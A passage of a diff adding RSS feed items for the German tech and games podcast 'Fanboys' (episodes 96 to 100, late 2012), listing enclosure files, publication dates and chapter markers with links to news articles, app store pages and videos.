Jack</td></tr><tr><td>01:01:15</td><td><a href="http://www.chillingo.com/games/endless-road/" target="_blank">Endless Road</td></tr><tr><td>01:03:47</td><td><a href="http://en.wikipedia.org/wiki/Downton_Abbey" target="_blank">Downton Abbey</td></tr><tr><td>01:06:37</td><td><a href="http://www.colbertnation.com/the-colbert-report-videos/422221/december-13-2012/uncensored---breaking-abbey" target="_blank">Breaking Abbey</td></tr><tr><td>01:07:18</td><td><a href="http://www.incredipede.com" target="_blank">Incredipede</td></tr><tr><td>01:13:15</td><td><a href="https://www.youtube.com/watch?v=fIgI8IGkJ-E" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:01:35" title="1999" />
+ <sc:chapter start="00:04:13" title="2000" />
+ <sc:chapter start="00:08:47" title="The Good Wife" href="http://en.wikipedia.org/wiki/The_Good_Wife" />
+ <sc:chapter start="00:09:31" title="The West Wing" href="http://en.wikipedia.org/wiki/The_West_Wing" />
+ <sc:chapter start="00:13:38" title="Instagram TOS DDOS" href="http://news.yahoo.com/changing-images-instagram-tos-dispute-222300600.html" />
+ <sc:chapter start="00:17:00" title="Schokobär" href="http://www.spiegel.de/wirtschaft/unternehmen/haribo-siegt-im-schokobaeren-streit-mit-lindt-a-873697.html" />
+ <sc:chapter start="00:22:25" title="Facebook und die Klarnamen" href="http://www.spiegel.de/netzwelt/netzpolitik/klarnamen-pflicht-weichert-stellt-facebook-ultimatum-a-873411.html" />
+ <sc:chapter start="00:23:25" title="Twitter Archiv zum runterladen" href="http://techcrunch.com/2012/12/19/twitter-confirms-download-your-tweet-archive-rollout/" />
+ <sc:chapter start="00:28:44" title="Google Talk: Steven Colbert" href="https://www.youtube.com/watch?v=-HpBHWUPa8Q" />
+ <sc:chapter start="00:30:08" title="Google Talk: Eckhart Tolle" href="http://www.youtube.com/watch?v=qE1dWwoJPU0" />
+ <sc:chapter start="00:33:32" title="Frage zu Risc OS" />
+ <sc:chapter start="00:42:35" title="The Walking Dead" href="https://itunes.apple.com/us/app/walking-dead-the-game/id524731580?mt=8" />
+ <sc:chapter start="00:46:26" title="Hollywood Monsters" href="https://itunes.apple.com/app/hollywood-monsters/id574812554?mt=8" />
+ <sc:chapter start="00:49:26" title="Penny Arcade: Gamers vs. Evil" href="http://www.cryptozoic.com/games/penny-arcade-game-gamers-vs-evil-ios" />
+ <sc:chapter start="00:50:25" title="SolForge" href="http://www.solforgegame.com" />
+ <sc:chapter start="00:55:01" title="You Don't Know Jack" href="https://itunes.apple.com/us/app/you-dont-know-jack/id552164252" />
+ <sc:chapter start="01:01:15" title="Endless Road" href="http://www.chillingo.com/games/endless-road/" />
+ <sc:chapter start="01:03:47" title="Downton Abbey" href="http://en.wikipedia.org/wiki/Downton_Abbey" />
+ <sc:chapter start="01:06:37" title="Breaking Abbey" href="http://www.colbertnation.com/the-colbert-report-videos/422221/december-13-2012/uncensored---breaking-abbey" />
+ <sc:chapter start="01:07:18" title="Incredipede" href="http://www.incredipede.com" />
+ <sc:chapter start="01:13:15" title="Rausschmeisser" href="https://www.youtube.com/watch?v=fIgI8IGkJ-E" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23100&amp;user_id=map&amp;title=Fanboys%20Episode%20100&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#100:" />
+ </item>
+ <item>
+ <title>Episode #99 - IKEA Tellergeräusche</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>IKEA Tellergeräusche</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN099.mp3" length="58095744" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN099</guid>
+ <pubDate>Fri, 14 Dec 2012 00:53:45 +0100</pubDate>
+ <itunes:duration>02:00:53</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:24 1999
+00:02:58 Elster Online
+00:04:49 superfav
+00:09:50 Eric Schmidt und der Krieg
+00:17:53 Google Maps für iPhone
+00:22:56 Google einigt sich in Belgien mit den Verlagen
+00:26:14 Twitter, Instagram und Flickr
+00:32:21 Das Jahr auf Twitter
+00:36:51 Peer Papst twittert
+00:41:57 WiiU first impression
+01:02:17 iOS 5 Rant
+01:08:25 Kickstarter
+01:15:24 Audiobus
+01:18:25 Zählapp? Bean!
+01:20:26 The Room
+01:26:49 Ghost Trick
+01:27:31 Tiny Wings HD
+01:27:52 Nihilumbra
+01:28:10 Super Hexagon
+01:29:23 Journey
+01:32:01 Withings
+01:33:18 iCade
+01:34:48 Braven 650
+01:37:23 Philips LivingColors
+01:40:07 Robomob
+01:42:13 Musicbox
+01:43:52 Martin hat den Hobbit gesehen. In HFR.
+01:52:53 Paper Mario: Sticker Star
+01:58:06 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:24</td><td>1999</td></tr><tr><td>00:02:58</td><td>Elster Online</td></tr><tr><td>00:04:49</td><td>superfav</td></tr><tr><td>00:09:50</td><td><a href="http://www.bloomberg.com/news/2012-12-12/google-chairman-says-android-winning-mobile-war-with-apple-tech.html" target="_blank">Eric Schmidt und der Krieg</td></tr><tr><td>00:17:53</td><td><a href="https://itunes.apple.com/us/app/google-maps/id585027354?mt=8" target="_blank">Google Maps für iPhone</td></tr><tr><td>00:22:56</td><td><a href="http://www.spiegel.de/netzwelt/netzpolitik/google-einigt-sich-mit-belgischen-zeitungsverlagen-a-872639.html" target="_blank">Google einigt sich in Belgien mit den Verlagen</td></tr><tr><td>00:26:14</td><td>Twitter, Instagram und Flickr</td></tr><tr><td>00:32:21</td><td><a href="http://2012.twitter.com/de/golden-tweets.html" target="_blank">Das Jahr auf Twitter</td></tr><tr><td>00:36:51</td><td>Peer Papst twittert</td></tr><tr><td>00:41:57</td><td>WiiU first impression</td></tr><tr><td>01:02:17</td><td>iOS 5 Rant</td></tr><tr><td>01:08:25</td><td>Kickstarter</td></tr><tr><td>01:15:24</td><td><a href="https://itunes.apple.com/us/app/audiobus/id558513570?mt=8" target="_blank">Audiobus</td></tr><tr><td>01:18:25</td><td><a href="https://itunes.apple.com/us/app/bean-a-counting-app/id551418848?mt=8" target="_blank">Zählapp? Bean!</td></tr><tr><td>01:20:26</td><td><a href="https://itunes.apple.com/us/app/the-room/id552039496?mt=8" target="_blank">The Room</td></tr><tr><td>01:26:49</td><td><a href="https://itunes.apple.com/us/app/ghost-trick-phantom-detective/id489113377?mt=8" target="_blank">Ghost Trick</td></tr><tr><td>01:27:31</td><td><a href="https://itunes.apple.com/en/app/tiny-wings-hd/id541517597?mt=8" target="_blank">Tiny Wings HD</td></tr><tr><td>01:27:52</td><td><a href="https://itunes.apple.com/us/app/nihilumbra/id500161349?mt=8" target="_blank">Nihilumbra</td></tr><tr><td>01:28:10</td><td><a href="http://superhexagon.com" target="_blank">Super Hexagon</td></tr><tr><td>01:29:23</td><td><a href="http://en.wikipedia.org/wiki/Journey_(2012_video_game)" target="_blank">Journey</td></tr><tr><td>01:32:01</td><td><a href="http://www.withings.com" target="_blank">Withings</td></tr><tr><td>01:33:18</td><td><a href="http://www.ionaudio.com/products/details/icade" target="_blank">iCade</td></tr><tr><td>01:34:48</td><td><a href="http://www.braven.com/braven-650.html" target="_blank">Braven 650</td></tr><tr><td>01:37:23</td><td><a href="http://www.amazon.de/Philips-6917160PH-LivingColors-Clear/dp/B004FD1QJM" target="_blank">Philips LivingColors</td></tr><tr><td>01:40:07</td><td><a href="http://www.robomop.net" target="_blank">Robomob</td></tr><tr><td>01:42:13</td><td><a href="http://www.amazon.de/Mechanische-Spieluhr-MUSICBOX-selber-Komponieren/dp/B000HAUEFY" target="_blank">Musicbox</td></tr><tr><td>01:43:52</td><td><a href="http://en.wikipedia.org/wiki/The_Hobbit_(film_series)" target="_blank">Martin hat den Hobbit gesehen. In HFR.</td></tr><tr><td>01:52:53</td><td><a href="http://en.wikipedia.org/wiki/Paper_Mario:_Sticker_Star" target="_blank">Paper Mario: Sticker Star</td></tr><tr><td>01:58:06</td><td><a href="https://www.youtube.com/watch?v=cTfqGzOBYL4" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:24" title="1999" />
+ <sc:chapter start="00:02:58" title="Elster Online" />
+ <sc:chapter start="00:04:49" title="superfav" />
+ <sc:chapter start="00:09:50" title="Eric Schmidt und der Krieg" href="http://www.bloomberg.com/news/2012-12-12/google-chairman-says-android-winning-mobile-war-with-apple-tech.html" />
+ <sc:chapter start="00:17:53" title="Google Maps für iPhone" href="https://itunes.apple.com/us/app/google-maps/id585027354?mt=8" />
+ <sc:chapter start="00:22:56" title="Google einigt sich in Belgien mit den Verlagen" href="http://www.spiegel.de/netzwelt/netzpolitik/google-einigt-sich-mit-belgischen-zeitungsverlagen-a-872639.html" />
+ <sc:chapter start="00:26:14" title="Twitter, Instagram und Flickr" />
+ <sc:chapter start="00:32:21" title="Das Jahr auf Twitter" href="http://2012.twitter.com/de/golden-tweets.html" />
+ <sc:chapter start="00:36:51" title="Peer Papst twittert" />
+ <sc:chapter start="00:41:57" title="WiiU first impression" />
+ <sc:chapter start="01:02:17" title="iOS 5 Rant" />
+ <sc:chapter start="01:08:25" title="Kickstarter" />
+ <sc:chapter start="01:15:24" title="Audiobus" href="https://itunes.apple.com/us/app/audiobus/id558513570?mt=8" />
+ <sc:chapter start="01:18:25" title="Zählapp? Bean!" href="https://itunes.apple.com/us/app/bean-a-counting-app/id551418848?mt=8" />
+ <sc:chapter start="01:20:26" title="The Room" href="https://itunes.apple.com/us/app/the-room/id552039496?mt=8" />
+ <sc:chapter start="01:26:49" title="Ghost Trick" href="https://itunes.apple.com/us/app/ghost-trick-phantom-detective/id489113377?mt=8" />
+ <sc:chapter start="01:27:31" title="Tiny Wings HD" href="https://itunes.apple.com/en/app/tiny-wings-hd/id541517597?mt=8" />
+ <sc:chapter start="01:27:52" title="Nihilumbra" href="https://itunes.apple.com/us/app/nihilumbra/id500161349?mt=8" />
+ <sc:chapter start="01:28:10" title="Super Hexagon" href="http://superhexagon.com" />
+ <sc:chapter start="01:29:23" title="Journey" href="http://en.wikipedia.org/wiki/Journey_(2012_video_game)" />
+ <sc:chapter start="01:32:01" title="Withings" href="http://www.withings.com" />
+ <sc:chapter start="01:33:18" title="iCade" href="http://www.ionaudio.com/products/details/icade" />
+ <sc:chapter start="01:34:48" title="Braven 650" href="http://www.braven.com/braven-650.html" />
+ <sc:chapter start="01:37:23" title="Philips LivingColors" href="http://www.amazon.de/Philips-6917160PH-LivingColors-Clear/dp/B004FD1QJM" />
+ <sc:chapter start="01:40:07" title="Robomob" href="http://www.robomop.net" />
+ <sc:chapter start="01:42:13" title="Musicbox" href="http://www.amazon.de/Mechanische-Spieluhr-MUSICBOX-selber-Komponieren/dp/B000HAUEFY" />
+ <sc:chapter start="01:43:52" title="Martin hat den Hobbit gesehen. In HFR." href="http://en.wikipedia.org/wiki/The_Hobbit_(film_series)" />
+ <sc:chapter start="01:52:53" title="Paper Mario: Sticker Star" href="http://en.wikipedia.org/wiki/Paper_Mario:_Sticker_Star" />
+ <sc:chapter start="01:58:06" title="Rausschmeisser" href="https://www.youtube.com/watch?v=cTfqGzOBYL4" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2399&amp;user_id=map&amp;title=Fanboys%20Episode%2099&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#99:" />
+ </item>
+ <item>
+ <title>Episode #98 - Keks des Jahres</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Keks des Jahres</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN098.mp3" length="30923172" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN098</guid>
+ <pubDate>Thu, 06 Dec 2012 22:15:24 +0100</pubDate>
+ <itunes:duration>01:04:17</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:20 Rückblick 1998
+00:02:37 Gut essen in Bochum
+00:03:53 Kindle Paperwhite konfigurieren
+00:05:08 Alle kaufen die selben Apps
+00:08:18 Mooncraft
+00:11:37 Cook Interview
+00:18:30 Amnesia Fortnight
+00:21:37 The Daily ist tot
+00:29:11 Sparrow
+00:39:58 Sparrow Podcast
+00:40:12 Ekelhafte Hitman Werbung
+00:48:27 Insert Moin
+00:49:49 The Room (nicht der)
+00:50:12 The Room
+00:53:58 About Love, Hate and the other ones
+00:56:53 The invisible made visible
+00:59:37 Analoges Digitales
+01:02:28 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:20</td><td>Rückblick 1998</td></tr><tr><td>00:02:37</td><td><a href="http://www.heinz-magazin.de/artikel/Badalona" target="_blank">Gut essen in Bochum</td></tr><tr><td>00:03:53</td><td>Kindle Paperwhite konfigurieren</td></tr><tr><td>00:05:08</td><td><a href="http://mashable.com/2012/12/05/app-store-revenue-developers/" target="_blank">Alle kaufen die selben Apps</td></tr><tr><td>00:08:18</td><td><a href="http://www.panic.com/blog/2012/11/app-scams/" target="_blank">Mooncraft</td></tr><tr><td>00:11:37</td><td><a href="http://www.heise.de/newsticker/meldung/Apple-Chef-Teil-der-Mac-Produktion-kehrt-in-die-USA-zurueck-1763631.html" target="_blank">Cook Interview</td></tr><tr><td>00:18:30</td><td><a href="http://de.twitch.tv/doublefine" target="_blank">Amnesia Fortnight</td></tr><tr><td>00:21:37</td><td><a href="http://www.neunetz.com/2012/12/03/news-corp-beendet-ipad-magazin-the-daily-am-15-dezember/?utm_source=dlvr.it&amp;utm_medium=twitter" target="_blank">The Daily ist tot</td></tr><tr><td>00:29:11</td><td><a href="http://gamua.com/sparrow/" target="_blank">Sparrow</td></tr><tr><td>00:39:58</td><td><a href="http://www.learn-cocos2d.com/2011/08/cocos2d-podcast-sparrow-framework/" target="_blank">Sparrow Podcast</td></tr><tr><td>00:40:12</td><td><a href="http://www.rockpapershotgun.com/2012/12/04/hijinks-square-say-threaten-hits-on-your-friends/" target="_blank">Ekelhafte Hitman Werbung</td></tr><tr><td>00:48:27</td><td><a href="http://insertmo.in/" target="_blank">Insert Moin</td></tr><tr><td>00:49:49</td><td><a href="http://en.wikipedia.org/wiki/The_Room_(film)" target="_blank">The Room (nicht der)</td></tr><tr><td>00:50:12</td><td><a href="https://itunes.apple.com/us/app/the-room/id552039496?mt=8" target="_blank">The Room</td></tr><tr><td>00:53:58</td><td><a href="https://itunes.apple.com/app/about-love-hate-other-ones/id558459510" target="_blank">About Love, Hate and the other ones</td></tr><tr><td>00:56:53</td><td><a href="http://live.thisamericanlife.org" target="_blank">The invisible made visible</td></tr><tr><td>00:59:37</td><td><a href="http://analog.freiland-wien.com" target="_blank">Analoges Digitales</td></tr><tr><td>01:02:28</td><td><a href="https://www.youtube.com/watch?v=ZUmiYg5V-Mg" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:20" title="Rückblick 1998" />
+ <sc:chapter start="00:02:37" title="Gut essen in Bochum" href="http://www.heinz-magazin.de/artikel/Badalona" />
+ <sc:chapter start="00:03:53" title="Kindle Paperwhite konfigurieren" />
+ <sc:chapter start="00:05:08" title="Alle kaufen die selben Apps" href="http://mashable.com/2012/12/05/app-store-revenue-developers/" />
+ <sc:chapter start="00:08:18" title="Mooncraft" href="http://www.panic.com/blog/2012/11/app-scams/" />
+ <sc:chapter start="00:11:37" title="Cook Interview" href="http://www.heise.de/newsticker/meldung/Apple-Chef-Teil-der-Mac-Produktion-kehrt-in-die-USA-zurueck-1763631.html" />
+ <sc:chapter start="00:18:30" title="Amnesia Fortnight" href="http://de.twitch.tv/doublefine" />
+ <sc:chapter start="00:21:37" title="The Daily ist tot" href="http://www.neunetz.com/2012/12/03/news-corp-beendet-ipad-magazin-the-daily-am-15-dezember/?utm_source=dlvr.it&amp;utm_medium=twitter" />
+ <sc:chapter start="00:29:11" title="Sparrow" href="http://gamua.com/sparrow/" />
+ <sc:chapter start="00:39:58" title="Sparrow Podcast" href="http://www.learn-cocos2d.com/2011/08/cocos2d-podcast-sparrow-framework/" />
+ <sc:chapter start="00:40:12" title="Ekelhafte Hitman Werbung" href="http://www.rockpapershotgun.com/2012/12/04/hijinks-square-say-threaten-hits-on-your-friends/" />
+ <sc:chapter start="00:48:27" title="Insert Moin" href="http://insertmo.in/" />
+ <sc:chapter start="00:49:49" title="The Room (nicht der)" href="http://en.wikipedia.org/wiki/The_Room_(film)" />
+ <sc:chapter start="00:50:12" title="The Room" href="https://itunes.apple.com/us/app/the-room/id552039496?mt=8" />
+ <sc:chapter start="00:53:58" title="About Love, Hate and the other ones" href="https://itunes.apple.com/app/about-love-hate-other-ones/id558459510" />
+ <sc:chapter start="00:56:53" title="The invisible made visible" href="http://live.thisamericanlife.org" />
+ <sc:chapter start="00:59:37" title="Analoges Digitales" href="http://analog.freiland-wien.com" />
+ <sc:chapter start="01:02:28" title="Rausschmeisser" href="https://www.youtube.com/watch?v=ZUmiYg5V-Mg" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2398&amp;user_id=map&amp;title=Fanboys%20Episode%2098&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#98:" />
+ </item>
+ <item>
+ <title>Episode #97 - Böser Hund!</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Böser Hund!</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN097.mp3" length="37478235" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN097</guid>
+ <pubDate>Fri, 30 Nov 2012 22:54:32 +0100</pubDate>
+ <itunes:duration>01:17:56</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:18 Die Charts von 1997
+00:01:42 Was letztes Mal geschah
+00:09:12 Maps Manager gefeuert
+00:11:32 Kindle Paperwhite
+00:18:59 iBooks Regale selber bauen
+00:22:51 iPad Mini LTE unterwegs
+00:24:02 Ach, Nintendo
+00:32:12 iTunes 11
+00:45:22 Tweetbot und die Rechtschreibung
+00:47:48 Penisfilter
+00:48:32 Humble Bundle
+00:51:11 LSR Debatte
+00:55:25 Piraten BPT
+01:02:15 Afirkanische Elefanten
+01:03:26 Mehr verhinderte Zeitreisen
+01:07:16 Spotlight Gerödel
+01:11:42 Dune 2 im Browser
+01:14:19 Guided Access
+01:16:44 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:18</td><td><a href="http://de.wikipedia.org/wiki/Liste_der_Nummer-eins-Hits_in_Deutschland_(1997)" target="_blank">Die Charts von 1997</td></tr><tr><td>00:01:42</td><td>Was letztes Mal geschah</td></tr><tr><td>00:09:12</td><td><a href="http://www.washingtonpost.com/business/apple-said-to-fire-maps-manager-as-flaws-hurt-iphone-debut/2012/11/27/04e85e88-38c9-11e2-9258-ac7c78d5c680_story.html" target="_blank">Maps Manager gefeuert</td></tr><tr><td>00:11:32</td><td>Kindle Paperwhite</td></tr><tr><td>00:18:59</td><td>iBooks Regale selber bauen</td></tr><tr><td>00:22:51</td><td>iPad Mini LTE unterwegs</td></tr><tr><td>00:24:02</td><td><a href="http://www.nintendo.com/wiimini?country=CA&amp;lang=en/" target="_blank">Ach, Nintendo</td></tr><tr><td>00:32:12</td><td><a href="http://9to5mac.com/2012/11/29/itunes-11-now-allows-you-to-redeem-gift-cards-using-your-computers-camera/" target="_blank">iTunes 11</td></tr><tr><td>00:45:22</td><td><a href="http://leberka.es/tweetbot-for-mac-vergisst-autocorrect-einstellung/" target="_blank">Tweetbot und die Rechtschreibung</td></tr><tr><td>00:47:48</td><td><a href="http://www.gamenguide.com/articles/4274/20121124/dont-believe-hype-iwata-penis-detection-nintendos.htm" target="_blank">Penisfilter</td></tr><tr><td>00:48:32</td><td><a href="http://arstechnica.com/gaming/2012/11/humble-thq-bundle-threatens-to-ruin-the-brands-reputation/" target="_blank">Humble Bundle</td></tr><tr><td>00:51:11</td><td><a href="http://dbtg.tv/fvid/2040452" target="_blank">LSR Debatte</td></tr><tr><td>00:55:25</td><td><a href="http://www.tapas-bochum.de/default.asp?contentID=521" target="_blank">Piraten BPT</td></tr><tr><td>01:02:15</td><td><a href="http://dipbt.bundestag.de/dip21/btd/17/115/1711554.pdf" target="_blank">Afirkanische Elefanten</td></tr><tr><td>01:03:26</td><td>Mehr verhinderte Zeitreisen</td></tr><tr><td>01:07:16</td><td>Spotlight Gerödel</td></tr><tr><td>01:11:42</td><td><a href="http://play-dune.com/atreides/" target="_blank">Dune 2 im Browser</td></tr><tr><td>01:14:19</td><td>Guided Access</td></tr><tr><td>01:16:44</td><td><a href="http://static.cdn.streamfarm.net/1000153copo/ondemand/145293313/2040496/2040496_mp3_128kb_stereo_de_128.mp3?fdl=1" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:18" title="Die Charts von 1997" href="http://de.wikipedia.org/wiki/Liste_der_Nummer-eins-Hits_in_Deutschland_(1997)" />
+ <sc:chapter start="00:01:42" title="Was letztes Mal geschah" />
+ <sc:chapter start="00:09:12" title="Maps Manager gefeuert" href="http://www.washingtonpost.com/business/apple-said-to-fire-maps-manager-as-flaws-hurt-iphone-debut/2012/11/27/04e85e88-38c9-11e2-9258-ac7c78d5c680_story.html" />
+ <sc:chapter start="00:11:32" title="Kindle Paperwhite" />
+ <sc:chapter start="00:18:59" title="iBooks Regale selber bauen" />
+ <sc:chapter start="00:22:51" title="iPad Mini LTE unterwegs" />
+ <sc:chapter start="00:24:02" title="Ach, Nintendo" href="http://www.nintendo.com/wiimini?country=CA&amp;lang=en/" />
+ <sc:chapter start="00:32:12" title="iTunes 11" href="http://9to5mac.com/2012/11/29/itunes-11-now-allows-you-to-redeem-gift-cards-using-your-computers-camera/" />
+ <sc:chapter start="00:45:22" title="Tweetbot und die Rechtschreibung" href="http://leberka.es/tweetbot-for-mac-vergisst-autocorrect-einstellung/" />
+ <sc:chapter start="00:47:48" title="Penisfilter" href="http://www.gamenguide.com/articles/4274/20121124/dont-believe-hype-iwata-penis-detection-nintendos.htm" />
+ <sc:chapter start="00:48:32" title="Humble Bundle" href="http://arstechnica.com/gaming/2012/11/humble-thq-bundle-threatens-to-ruin-the-brands-reputation/" />
+ <sc:chapter start="00:51:11" title="LSR Debatte" href="http://dbtg.tv/fvid/2040452" />
+ <sc:chapter start="00:55:25" title="Piraten BPT" href="http://www.tapas-bochum.de/default.asp?contentID=521" />
+ <sc:chapter start="01:02:15" title="Afirkanische Elefanten" href="http://dipbt.bundestag.de/dip21/btd/17/115/1711554.pdf" />
+ <sc:chapter start="01:03:26" title="Mehr verhinderte Zeitreisen" />
+ <sc:chapter start="01:07:16" title="Spotlight Gerödel" />
+ <sc:chapter start="01:11:42" title="Dune 2 im Browser" href="http://play-dune.com/atreides/" />
+ <sc:chapter start="01:14:19" title="Guided Access" />
+ <sc:chapter start="01:16:44" title="Rausschmeisser" href="http://static.cdn.streamfarm.net/1000153copo/ondemand/145293313/2040496/2040496_mp3_128kb_stereo_de_128.mp3?fdl=1" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2397&amp;user_id=map&amp;title=Fanboys%20Episode%2097&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#97:" />
+ </item>
+ <item>
+ <title>Episode #96 - Oprahs Marktanteil in Weißrussland</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Oprahs Marktanteil in Weißrussland</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN096.mp3" length="32256462" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN096</guid>
+ <pubDate>Thu, 22 Nov 2012 21:53:26 +0100</pubDate>
+ <itunes:duration>01:07:03</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:02:48 Dezember fällt aus
+00:05:03 Microsoft Kin
+00:07:57 Oprah und Surface
+00:11:07 WhatsApp und die böse Überraschung
+00:16:46 Retina Macbook 13 Zoll Erfahrungen
+00:20:37 FusionDrive Experimente
+00:27:08 Mehr zu hotcocoa
+00:35:19 Godus
+00:40:42 Kapitelmarken
+00:43:31 Spielfest Wien
+00:47:24 Desert Bus
+00:50:15 Lost Winds 2
+00:54:54 Bastion für iPhone
+00:56:56 Bean
+00:59:08 Auphonic
+01:01:50 MVV Companion
+01:03:41 Fish
+01:06:06 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:02:48</td><td><a href="http://www.heise.de/mobil/meldung/Google-vergisst-Dezember-in-Android-4-2-1752828.html" target="_blank">Dezember fällt aus</td></tr><tr><td>00:05:03</td><td><a href="http://www.wired.com/gadgetlab/2012/11/unreleased-internal-microsoft-videos-show-why-kin-crashed-and-burned/all/1" target="_blank">Microsoft Kin</td></tr><tr><td>00:07:57</td><td><a href="http://thenextweb.com/shareables/2012/11/19/oprah-plugs-the-surface-on-twitter-uses-an-ipad-to-do-so/" target="_blank">Oprah und Surface</td></tr><tr><td>00:11:07</td><td><a href="http://www.heise.de/newsticker/meldung/WhatsApp-stopft-Sicherheitsloch-und-verlangt-Abo-Gebuehren-1753088.html" target="_blank">WhatsApp und die böse Überraschung</td></tr><tr><td>00:16:46</td><td>Retina Macbook 13 Zoll Erfahrungen</td></tr><tr><td>00:20:37</td><td>FusionDrive Experimente</td></tr><tr><td>00:27:08</td><td><a href="https://github.com/monkeydom/macruby_corecanvas" target="_blank">Mehr zu hotcocoa</td></tr><tr><td>00:35:19</td><td><a href="http://www.kickstarter.com/projects/22cans/project-godus" target="_blank">Godus</td></tr><tr><td>00:40:42</td><td>Kapitelmarken</td></tr><tr><td>00:43:31</td><td><a href="http://www.spielefest.at" target="_blank">Spielfest Wien</td></tr><tr><td>00:47:24</td><td><a href="http://desertbus.org" target="_blank">Desert Bus</td></tr><tr><td>00:50:15</td><td><a href="https://itunes.apple.com/us/app/lostwinds2-winter-melodias/id488671285?mt=8" target="_blank">Lost Winds 2</td></tr><tr><td>00:54:54</td><td><a href="https://itunes.apple.com/us/app/bastion/id537773100?mt=8" target="_blank">Bastion für iPhone</td></tr><tr><td>00:56:56</td><td><a href="http://countonbean.com" target="_blank">Bean</td></tr><tr><td>00:59:08</td><td><a href="http://auphonic.com/blog/2012/11/19/auphonic-mobile-app-ios/" target="_blank">Auphonic</td></tr><tr><td>01:01:50</td><td><a href="http://www.mvv-muenchen.de/de/fahrplanauskunft/mobile-dienste/efa-app-mvv-companion/index.html" target="_blank">MVV Companion</td></tr><tr><td>01:03:41</td><td><a href="https://itunes.apple.com/us/app/fish-a-tap-essay/id510560804?mt=8" target="_blank">Fish</td></tr><tr><td>01:06:06</td><td><a href="http://www.youtube.com/watch?v=85ejIV7k_SM" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:02:48" title="Dezember fällt aus" href="http://www.heise.de/mobil/meldung/Google-vergisst-Dezember-in-Android-4-2-1752828.html" />
+ <sc:chapter start="00:05:03" title="Microsoft Kin" href="http://www.wired.com/gadgetlab/2012/11/unreleased-internal-microsoft-videos-show-why-kin-crashed-and-burned/all/1" />
+ <sc:chapter start="00:07:57" title="Oprah und Surface" href="http://thenextweb.com/shareables/2012/11/19/oprah-plugs-the-surface-on-twitter-uses-an-ipad-to-do-so/" />
+ <sc:chapter start="00:11:07" title="WhatsApp und die böse Überraschung" href="http://www.heise.de/newsticker/meldung/WhatsApp-stopft-Sicherheitsloch-und-verlangt-Abo-Gebuehren-1753088.html" />
+ <sc:chapter start="00:16:46" title="Retina Macbook 13 Zoll Erfahrungen" />
+ <sc:chapter start="00:20:37" title="FusionDrive Experimente" />
+ <sc:chapter start="00:27:08" title="Mehr zu hotcocoa" href="https://github.com/monkeydom/macruby_corecanvas" />
+ <sc:chapter start="00:35:19" title="Godus" href="http://www.kickstarter.com/projects/22cans/project-godus" />
+ <sc:chapter start="00:40:42" title="Kapitelmarken" />
+ <sc:chapter start="00:43:31" title="Spielfest Wien" href="http://www.spielefest.at" />
+ <sc:chapter start="00:47:24" title="Desert Bus" href="http://desertbus.org" />
+ <sc:chapter start="00:50:15" title="Lost Winds 2" href="https://itunes.apple.com/us/app/lostwinds2-winter-melodias/id488671285?mt=8" />
